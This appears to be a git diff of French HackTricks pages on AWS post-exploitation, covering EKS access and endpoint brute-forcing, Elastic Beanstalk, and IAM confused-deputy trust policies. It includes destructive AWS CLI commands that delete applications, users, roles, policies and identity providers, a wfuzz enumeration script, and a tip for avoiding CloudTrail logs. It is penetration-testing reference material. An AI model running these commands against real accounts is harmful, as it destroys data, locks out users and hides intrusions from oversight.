/etc/eks/bootstrap.sh cluster-name --kubelet-extra-args '--node-labels=eks.amazonaws.com/sourceLaunchTemplateVersion=1,alpha.eksctl.io/cluster-name=cluster-name,alpha.eksctl.io/nodegroup-name=prd-ondemand-us-west-2b,role=worker,eks.amazonaws.com/nodegroup-image=ami-002539dd2c532d0a5,eks.amazonaws.com/capacityType=ON_DEMAND,eks.amazonaws.com/nodegroup=prd-ondemand-us-west-2b,type=ondemand,eks.amazonaws.com/sourceLaunchTemplateId=lt-0f0f0ba62bef782e5 --max-pods=58' --b64-cluster-ca $B64_CLUSTER_CA --apiserver-endpoint $API_SERVER_URL --dns-cluster-ip $K8S_CLUSTER_DNS_IP --use-max-pods false
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary>kube config</summary>
|
||||
```yaml
|
||||
describe-cache-parametersapiVersion: v1
|
||||
clusters:
|
||||
- cluster:
|
||||
certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhBZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==
|
||||
server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com
|
||||
name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
contexts:
|
||||
- context:
|
||||
cluster: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
user: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
current-context: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
kind: Config
|
||||
preferences: {}
|
||||
users:
|
||||
- name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
user:
|
||||
exec:
|
||||
apiVersion: client.authentication.k8s.io/v1beta1
|
||||
args:
|
||||
- --region
|
||||
- us-west-2
|
||||
- --profile
|
||||
- <profile>
|
||||
- eks
|
||||
- get-token
|
||||
- --cluster-name
|
||||
- <cluster-name>
|
||||
command: aws
|
||||
env: null
|
||||
interactiveMode: IfAvailable
|
||||
provideClusterInfo: false
|
||||
```
|
||||
</details>
|
||||
|
||||
### De AWS à Kubernetes
|
||||
|
||||
Le **créateur** du **EKS cluster** pourra **TOUJOURS** accéder à la partie cluster kubernetes faisant partie du groupe **`system:masters`** (k8s admin). Au moment de la rédaction, il n'existe **aucun moyen direct** pour savoir **qui a créé** le cluster (vous pouvez vérifier CloudTrail). Et il n'y a **aucune façon** de **supprimer** ce **privilège**.
|
||||
|
||||
La méthode pour accorder **l'accès à K8s à davantage d'utilisateurs ou rôles AWS IAM** est d'utiliser le **configmap** **`aws-auth`**.
|
||||
|
||||
> [!WARNING]
|
||||
> Par conséquent, toute personne ayant un **accès en écriture** au configmap **`aws-auth`** pourra **compromettre l'ensemble du cluster**.
|
||||
|
||||
Pour plus d'informations sur la manière de **donner des privilèges supplémentaires aux rôles et utilisateurs IAM** dans le **même ou un autre compte** et sur la façon de **abuser** de cela, voir [**privesc check this page**](../../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#aws-eks-aws-auth-configmaps).
|
||||
|
||||
Check also[ **this awesome**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post to learn how the authentication IAM -> Kubernetes work**.
|
||||
|
||||
### De Kubernetes à AWS
|
||||
|
||||
Il est possible d'autoriser une **authentification OpenID pour kubernetes service account** afin de leur permettre d'assumer des rôles dans AWS. Learn how [**this work in this page**](../../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1).
|
||||
|
||||
### GET Api Server Endpoint from a JWT Token
|
||||
|
||||
En décodant le token JWT, on obtient l'ID du cluster et aussi la région.  Sachant que le format standard pour l'URL EKS est
|
||||
```bash
|
||||
https://<cluster-id>.<two-random-chars><number>.<region>.eks.amazonaws.com
|
||||
```
|
||||
Je n'ai trouvé aucune documentation expliquant les critères pour les 'two chars' et le 'number'. Mais après quelques tests de mon côté, je remarque que ces valeurs reviennent souvent :
|
||||
|
||||
- gr7
|
||||
- yl4
|
||||
|
||||
De toute façon, ce ne sont que 3 caractères ; on peut les bruteforce. Utilisez le script ci-dessous pour générer la liste
|
||||
```python
|
||||
from itertools import product
|
||||
from string import ascii_lowercase
|
||||
|
||||
letter_combinations = product('abcdefghijklmnopqrstuvwxyz', repeat = 2)
|
||||
number_combinations = product('0123456789', repeat = 1)
|
||||
|
||||
result = [
|
||||
f'{''.join(comb[0])}{comb[1][0]}'
|
||||
for comb in product(letter_combinations, number_combinations)
|
||||
]
|
||||
|
||||
with open('out.txt', 'w') as f:
|
||||
f.write('\n'.join(result))
|
||||
```
|
||||
Ensuite avec wfuzz
|
||||
```bash
|
||||
wfuzz -Z -z file,out.txt --hw 0 https://<cluster-id>.FUZZ.<region>.eks.amazonaws.com
|
||||
```
|
||||
> [!WARNING]
|
||||
> N'oubliez pas de remplacer & .
|
||||
|
||||
### Bypass CloudTrail
|
||||
|
||||
If an attacker obtains credentials of an AWS with **permission over an EKS**. If the attacker configures it's own **`kubeconfig`** (without calling **`update-kubeconfig`**) as explained previously, the **`get-token`** doesn't generate logs in Cloudtrail because it doesn't interact with the AWS API (it just creates the token locally).
|
||||
|
||||
So when the attacker talks with the EKS cluster, **cloudtrail won't log anything related to the user being stolen and accessing it**.
|
||||
|
||||
Note that the **EKS cluster might have logs enabled** that will log this access (although, by default, they are disabled).
|
||||
|
||||
### EKS Ransom?
|
||||
|
||||
By default the **user or role that created** a cluster is **ALWAYS going to have admin privileges** over the cluster. And that the only "secure" access AWS will have over the Kubernetes cluster.
|
||||
|
||||
So, if an **attacker compromises a cluster using fargate** and **removes all the other admins** and **deletes the AWS user/role that created** the Cluster, ~~l'attaquant pourrait avoir **rançonné le cluste**~~**r**.
|
||||
|
||||
> [!TIP]
|
||||
> Notez que si le cluster utilisait des **EC2 VMs**, il pourrait être possible d'obtenir des privilèges Admin depuis le **Node** et récupérer le cluster.
|
||||
>
|
||||
> En fait, si le cluster utilise Fargate, vous pourriez créer des nœuds EC2 ou migrer tout vers EC2 dans le cluster et le récupérer en accédant aux tokens sur le nœud.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,70 +0,0 @@
|
||||
# AWS - Elastic Beanstalk Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Elastic Beanstalk
|
||||
|
||||
Pour plus d'informations :
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-elastic-beanstalk-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `elasticbeanstalk:DeleteApplicationVersion`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO : Tester si des permissions supplémentaires sont nécessaires pour cela
|
||||
|
||||
Un attaquant avec la permission `elasticbeanstalk:DeleteApplicationVersion` peut **supprimer une version d'application existante**. Cette action pourrait perturber les pipelines de déploiement d'application ou entraîner la perte de versions spécifiques d'application si elles ne sont pas sauvegardées.
|
||||
```bash
|
||||
aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version
|
||||
```
|
||||
**Impact potentiel** : Interruption du déploiement de l'application et perte potentielle des versions de l'application.
|
||||
|
||||
### `elasticbeanstalk:TerminateEnvironment`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO : Tester si d'autres autorisations sont nécessaires pour cela
|
||||
|
||||
Un attaquant ayant l'autorisation `elasticbeanstalk:TerminateEnvironment` peut **terminer un environnement Elastic Beanstalk existant**, provoquant un temps d'arrêt pour l'application et une perte potentielle de données si l'environnement n'est pas configuré pour des sauvegardes.
|
||||
```bash
|
||||
aws elasticbeanstalk terminate-environment --environment-name my-existing-env
|
||||
```
|
||||
**Impact potentiel** : Temps d'arrêt de l'application, perte de données potentielle et interruption des services.
|
||||
|
||||
### `elasticbeanstalk:DeleteApplication`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO : Tester si d'autres autorisations sont nécessaires pour cela
|
||||
|
||||
Un attaquant ayant l'autorisation `elasticbeanstalk:DeleteApplication` peut **supprimer une application Elastic Beanstalk entière**, y compris toutes ses versions et environnements. Cette action pourrait entraîner une perte significative de ressources et de configurations de l'application si elles ne sont pas sauvegardées.
|
||||
```bash
|
||||
aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force
|
||||
```
|
||||
**Impact potentiel** : Perte de ressources d'application, de configurations, d'environnements et de versions d'application, entraînant une interruption de service et une perte de données potentielle.
|
||||
|
||||
### `elasticbeanstalk:SwapEnvironmentCNAMEs`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO : Tester si d'autres autorisations sont nécessaires pour cela
|
||||
|
||||
Un attaquant disposant de l'autorisation `elasticbeanstalk:SwapEnvironmentCNAMEs` peut **échanger les enregistrements CNAME de deux environnements Elastic Beanstalk**, ce qui pourrait entraîner la diffusion de la mauvaise version de l'application aux utilisateurs ou provoquer un comportement inattendu.
|
||||
```bash
|
||||
aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2
|
||||
```
|
||||
**Impact potentiel** : Servir la mauvaise version de l'application aux utilisateurs ou provoquer un comportement inattendu dans l'application en raison d'environnements échangés.
|
||||
|
||||
### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO : Tester si d'autres autorisations sont nécessaires pour cela
|
||||
|
||||
Un attaquant disposant des autorisations `elasticbeanstalk:AddTags` et `elasticbeanstalk:RemoveTags` peut **ajouter ou supprimer des balises sur les ressources Elastic Beanstalk**. Cette action pourrait entraîner une allocation incorrecte des ressources, une facturation ou une gestion des ressources.
|
||||
```bash
|
||||
aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1
|
||||
|
||||
aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag
|
||||
```
|
||||
**Impact potentiel** : Allocation incorrecte des ressources, facturation ou gestion des ressources en raison de l'ajout ou de la suppression d'étiquettes.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,70 @@
|
||||
# AWS - Elastic Beanstalk Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Elastic Beanstalk
|
||||
|
||||
Pour plus d'informations :
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-elastic-beanstalk-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `elasticbeanstalk:DeleteApplicationVersion`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO : Tester si d'autres permissions sont nécessaires pour cela
|
||||
|
||||
Un attaquant disposant de la permission `elasticbeanstalk:DeleteApplicationVersion` peut **supprimer une version d'application existante**. Cette action pourrait perturber les pipelines de déploiement de l'application ou entraîner la perte de versions d'application spécifiques si elles ne sont pas sauvegardées.
|
||||
```bash
|
||||
aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version
|
||||
```
|
||||
**Impact potentiel** : perturbation du déploiement de l'application et perte potentielle des versions de l'application.
|
||||
|
||||
### `elasticbeanstalk:TerminateEnvironment`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO : vérifier si des autorisations supplémentaires sont requises pour cela
|
||||
|
||||
Un attaquant disposant de l'autorisation `elasticbeanstalk:TerminateEnvironment` peut **terminer un environnement Elastic Beanstalk existant**, provoquant une indisponibilité de l'application et une perte potentielle de données si l'environnement n'est pas configuré pour les sauvegardes.
|
||||
```bash
|
||||
aws elasticbeanstalk terminate-environment --environment-name my-existing-env
|
||||
```
|
||||
**Impact potentiel**: Indisponibilité de l'application, perte potentielle de données et interruption des services.
|
||||
|
||||
### `elasticbeanstalk:DeleteApplication`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO : Vérifier si des permissions supplémentaires sont nécessaires pour cela
|
||||
|
||||
Un attaquant disposant de l'autorisation `elasticbeanstalk:DeleteApplication` peut **supprimer entièrement une application Elastic Beanstalk**, y compris toutes ses versions et environnements. Cette action pourrait entraîner une perte importante de ressources et de configurations de l'application si elles ne sont pas sauvegardées.
|
||||
```bash
|
||||
aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force
|
||||
```
|
||||
**Impact potentiel** : Perte de ressources applicatives, de configurations, d'environnements et de versions d'application, entraînant une interruption de service et une perte potentielle de données.
|
||||
|
||||
### `elasticbeanstalk:SwapEnvironmentCNAMEs`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO : Tester si des permissions supplémentaires sont requises pour cela
|
||||
|
||||
Un attaquant disposant de l'autorisation `elasticbeanstalk:SwapEnvironmentCNAMEs` peut **échanger les enregistrements CNAME de deux environnements Elastic Beanstalk**, ce qui peut entraîner la diffusion d'une mauvaise version de l'application aux utilisateurs ou provoquer un comportement indésirable.
|
||||
```bash
|
||||
aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2
|
||||
```
|
||||
**Impact potentiel**: Servir la mauvaise version de l'application aux utilisateurs ou provoquer un comportement inattendu dans l'application en raison d'environnements permutés.
|
||||
|
||||
### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO : Tester si d'autres permissions sont nécessaires pour cela
|
||||
|
||||
Un attaquant disposant des permissions `elasticbeanstalk:AddTags` et `elasticbeanstalk:RemoveTags` peut **ajouter ou supprimer des étiquettes sur les ressources Elastic Beanstalk**. Cette action pourrait entraîner une mauvaise allocation des ressources, une facturation incorrecte ou une gestion erronée des ressources.
|
||||
```bash
|
||||
aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1
|
||||
|
||||
aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag
|
||||
```
|
||||
**Impact potentiel**: Mauvaise allocation des ressources, facturation erronée ou mauvaise gestion des ressources en raison de l'ajout ou de la suppression d'étiquettes.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,166 +0,0 @@
|
||||
# AWS - IAM Post-exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## IAM
|
||||
|
||||
Pour plus d'informations sur l'accès IAM :
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
## Problème du Confused Deputy
|
||||
|
||||
Si vous **autorisez un compte externe (A)** à accéder à un **role** dans votre compte, vous n'aurez probablement **aucune visibilité** sur **qui peut exactement accéder à ce compte externe**. C'est un problème, car si un autre compte externe (B) peut accéder au compte externe (A), il est possible que **B puisse aussi accéder à votre compte**.
|
||||
|
||||
Par conséquent, lorsque vous autorisez un compte externe à accéder à un role dans votre compte, il est possible de spécifier un `ExternalId`. C'est une chaîne "secrète" que le compte externe (A) **doit spécifier** afin de **assume the role in your organization**. Comme le **compte externe B ne connaîtra pas cette chaîne**, même s'il a accès à A il **ne pourra pas accéder à votre role**.
|
||||
|
||||
<figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Cependant, notez que ce `ExternalId` "secret" **n'est pas un secret**, toute personne pouvant **lire la IAM assume role policy pourra le voir**. Mais tant que le compte externe A le connaît, et que le compte externe **B ne le connaît pas**, cela **empêche B d'abuser d'A pour accéder à votre role**.
|
||||
|
||||
Exemple:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": {
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "Example Corp's AWS Account ID"
|
||||
},
|
||||
"Action": "sts:AssumeRole",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"sts:ExternalId": "12345"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> Pour qu'un attaquant exploite un confused deputy, il devra d'une manière ou d'une autre déterminer si les principals du compte actuel peuvent usurper des rôles dans d'autres comptes.
|
||||
|
||||
### Confiances inattendues
|
||||
|
||||
#### Wildcard en tant que principal
|
||||
```json
|
||||
{
|
||||
"Action": "sts:AssumeRole",
|
||||
"Effect": "Allow",
|
||||
"Principal": { "AWS": "*" }
|
||||
}
|
||||
```
|
||||
Cette stratégie **autorise tous les AWS** à assumer le rôle.
|
||||
|
||||
#### Service en tant que principal
|
||||
```json
|
||||
{
|
||||
"Action": "lambda:InvokeFunction",
|
||||
"Effect": "Allow",
|
||||
"Principal": { "Service": "apigateway.amazonaws.com" },
|
||||
"Resource": "arn:aws:lambda:000000000000:function:foo"
|
||||
}
|
||||
```
|
||||
Cette politique **autorise n'importe quel compte** à configurer son apigateway pour appeler cette Lambda.
|
||||
|
||||
#### S3 en tant que principal
|
||||
```json
|
||||
"Condition": {
|
||||
"ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" },
|
||||
"StringEquals": {
|
||||
"aws:SourceAccount": "123456789012"
|
||||
}
|
||||
}
|
||||
```
|
||||
Si un S3 bucket est donné comme principal, parce que les S3 buckets n'ont pas d'Account ID, si vous **avez supprimé votre bucket et que l'attacker l'a recréé** dans son propre compte, alors il pourrait en abuser.
|
||||
|
||||
#### Non pris en charge
|
||||
```json
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": { "Service": "cloudtrail.amazonaws.com" },
|
||||
"Action": "s3:PutObject",
|
||||
"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
|
||||
}
|
||||
```
|
||||
Une manière courante d'éviter les problèmes de Confused Deputy est l'utilisation d'une condition avec `AWS:SourceArn` pour vérifier l'ARN d'origine. Cependant, **certains services peuvent ne pas le prendre en charge** (comme CloudTrail selon certaines sources).
|
||||
|
||||
### Suppression des identifiants
|
||||
Avec l'une quelconque des permissions suivantes — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — un acteur peut supprimer access keys, login profiles, SSH keys, service-specific credentials, instance profiles, certificates ou CloudFront public keys, ou dissocier des rôles des instance profiles. De telles actions peuvent immédiatement bloquer des utilisateurs et applications légitimes et provoquer un denial-of-service ou une perte d'accès pour les systèmes qui dépendent de ces credentials, donc ces permissions IAM doivent être strictement restreintes et surveillées.
|
||||
```bash
|
||||
# Remove Access Key of a user
|
||||
aws iam delete-access-key \
|
||||
--user-name <Username> \
|
||||
--access-key-id AKIAIOSFODNN7EXAMPLE
|
||||
|
||||
## Remove ssh key of a user
|
||||
aws iam delete-ssh-public-key \
|
||||
--user-name <Username> \
|
||||
--ssh-public-key-id APKAEIBAERJR2EXAMPLE
|
||||
```
|
||||
### Suppression d'identités
|
||||
Avec des autorisations telles que `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole` ou `iam:RemoveUserFromGroup`, un acteur peut supprimer des utilisateurs, des rôles ou des groupes — ou modifier l'appartenance à un groupe — supprimant des identités et les traces associées. Cela peut immédiatement interrompre l'accès des personnes et des services qui dépendent de ces identités, provoquant un déni de service ou une perte d'accès ; ces actions IAM doivent donc être strictement restreintes et surveillées.
|
||||
```bash
|
||||
# Delete a user
|
||||
aws iam delete-user \
|
||||
--user-name <Username>
|
||||
|
||||
# Delete a group
|
||||
aws iam delete-group \
|
||||
--group-name <Username>
|
||||
|
||||
# Delete a role
|
||||
aws iam delete-role \
|
||||
--role-name <Role>
|
||||
```
|
||||
###
|
||||
Avec l'une quelconque des permissions suivantes — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — un acteur peut supprimer ou détacher des managed/inline policies, supprimer des policy versions ou des permissions boundaries, et désassocier des policies de users, groups ou roles. Cela détruit des autorisations et peut altérer le modèle de permissions, provoquant une perte d'accès immédiate ou un déni de service pour les principals qui dépendaient de ces policies, donc ces actions IAM doivent être strictement restreintes et surveillées.
|
||||
```bash
|
||||
# Delete a group policy
|
||||
aws iam delete-group-policy \
|
||||
--group-name <GroupName> \
|
||||
--policy-name <PolicyName>
|
||||
|
||||
# Delete a role policy
|
||||
aws iam delete-role-policy \
|
||||
--role-name <RoleName> \
|
||||
--policy-name <PolicyName>
|
||||
```
|
||||
### Suppression d'identité fédérée
|
||||
Avec `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider` et `iam:RemoveClientIDFromOpenIDConnectProvider`, un acteur peut supprimer des fournisseurs d'identité OIDC/SAML ou retirer des ID client. Cela interrompt l'authentification fédérée, empêche la validation des tokens et refuse immédiatement l'accès aux utilisateurs et services qui s'appuient sur le SSO, jusqu'à ce que l'IdP ou les configurations soient restaurés.
|
||||
```bash
|
||||
# Delete OIDCP provider
|
||||
aws iam delete-open-id-connect-provider \
|
||||
--open-id-connect-provider-arn arn:aws:iam::111122223333:oidc-provider/accounts.google.com
|
||||
|
||||
# Delete SAML provider
|
||||
aws iam delete-saml-provider \
|
||||
--saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS
|
||||
```
|
||||
### Activation illégitime de MFA
|
||||
Avec `iam:EnableMFADevice`, un acteur peut enregistrer un MFA device sur l’identité d’un utilisateur, empêchant l’utilisateur légitime de se connecter. Une fois qu’un MFA non autorisé est activé, l’utilisateur peut être bloqué jusqu’à ce que l’appareil soit supprimé ou réinitialisé (remarque : si plusieurs MFA devices sont enregistrés, la connexion n’exige qu’un seul, donc cette attaque n’aura aucun effet pour refuser l’accès).
|
||||
```bash
|
||||
aws iam enable-mfa-device \
|
||||
--user-name <Username> \
|
||||
--serial-number arn:aws:iam::111122223333:mfa/alice \
|
||||
--authentication-code1 123456 \
|
||||
--authentication-code2 789012
|
||||
```
|
||||
### Altération des métadonnées des certificats/clés
|
||||
Avec `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, un acteur peut modifier le statut ou les métadonnées des clés publiques et des certificats. En marquant des clés/certificats comme inactifs ou en altérant des références, il peut casser l'authentification SSH, invalider les validations X.509/TLS et perturber immédiatement les services dépendant de ces identifiants, provoquant une perte d'accès ou de disponibilité.
|
||||
```bash
|
||||
aws iam update-ssh-public-key \
|
||||
--user-name <Username> \
|
||||
--ssh-public-key-id APKAEIBAERJR2EXAMPLE \
|
||||
--status Inactive
|
||||
|
||||
aws iam update-server-certificate \
|
||||
--server-certificate-name <Certificate_Name> \
|
||||
--new-path /prod/
|
||||
```
|
||||
## Références
|
||||
|
||||
- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,166 @@
|
||||
# AWS - IAM Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## IAM
|
||||
|
||||
Pour plus d'informations sur l'accès IAM :
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
## Problème du Confused Deputy
|
||||
|
||||
Si vous **autorisez un compte externe (A)** à accéder à un **rôle** dans votre compte, vous aurez probablement **0 visibilité** sur **qui peut exactement accéder à ce compte externe**. C'est un problème, car si un autre compte externe (B) peut accéder au compte externe (A), il est possible que **B puisse aussi accéder à votre compte**.
|
||||
|
||||
Par conséquent, lorsque vous autorisez un compte externe à accéder à un rôle dans votre compte, il est possible de spécifier un `ExternalId`. Il s'agit d'une chaîne « secrète » que le compte externe (A) doit **spécifier** afin de **assumer le rôle dans votre organisation**. Comme **le compte externe B ne connaîtra pas cette chaîne**, même s'il a accès à A il **ne pourra pas accéder à votre rôle**.
|
||||
|
||||
<figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Cependant, notez que ce « secret » `ExternalId` **n'est pas un secret** : toute personne pouvant **lire la IAM assume role policy** pourra le voir. Mais tant que le compte externe A le connaît et que le compte externe **B ne le connaît pas**, cela **empêche B d'abuser de A pour accéder à votre rôle**.
|
||||
|
||||
Exemple:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": {
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "Example Corp's AWS Account ID"
|
||||
},
|
||||
"Action": "sts:AssumeRole",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"sts:ExternalId": "12345"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> Pour qu'un attacker exploite un confused deputy, il devra d'une manière ou d'une autre déterminer si les principals du compte actuel peuvent impersonate des roles dans d'autres comptes.
|
||||
|
||||
### Confiances inattendues
|
||||
|
||||
#### Wildcard en tant que principal
|
||||
```json
|
||||
{
|
||||
"Action": "sts:AssumeRole",
|
||||
"Effect": "Allow",
|
||||
"Principal": { "AWS": "*" }
|
||||
}
|
||||
```
|
||||
Cette politique **autorise l'ensemble d'AWS** à assumer le rôle.
|
||||
|
||||
#### Service en tant que principal
|
||||
```json
|
||||
{
|
||||
"Action": "lambda:InvokeFunction",
|
||||
"Effect": "Allow",
|
||||
"Principal": { "Service": "apigateway.amazonaws.com" },
|
||||
"Resource": "arn:aws:lambda:000000000000:function:foo"
|
||||
}
|
||||
```
|
||||
Cette politique **autorise tout compte** à configurer son apigateway pour appeler cette Lambda.
|
||||
|
||||
#### S3 en tant que principal
|
||||
```json
|
||||
"Condition": {
|
||||
"ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" },
|
||||
"StringEquals": {
|
||||
"aws:SourceAccount": "123456789012"
|
||||
}
|
||||
}
|
||||
```
|
||||
Si un S3 bucket est donné comme principal, parce que les S3 buckets n'ont pas d'Account ID, si vous **avez supprimé votre bucket et que l'attacker l'a créé** dans son propre compte, alors il pourrait en abuser.
|
||||
|
||||
#### Non pris en charge
|
||||
```json
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": { "Service": "cloudtrail.amazonaws.com" },
|
||||
"Action": "s3:PutObject",
|
||||
"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
|
||||
}
|
||||
```
|
||||
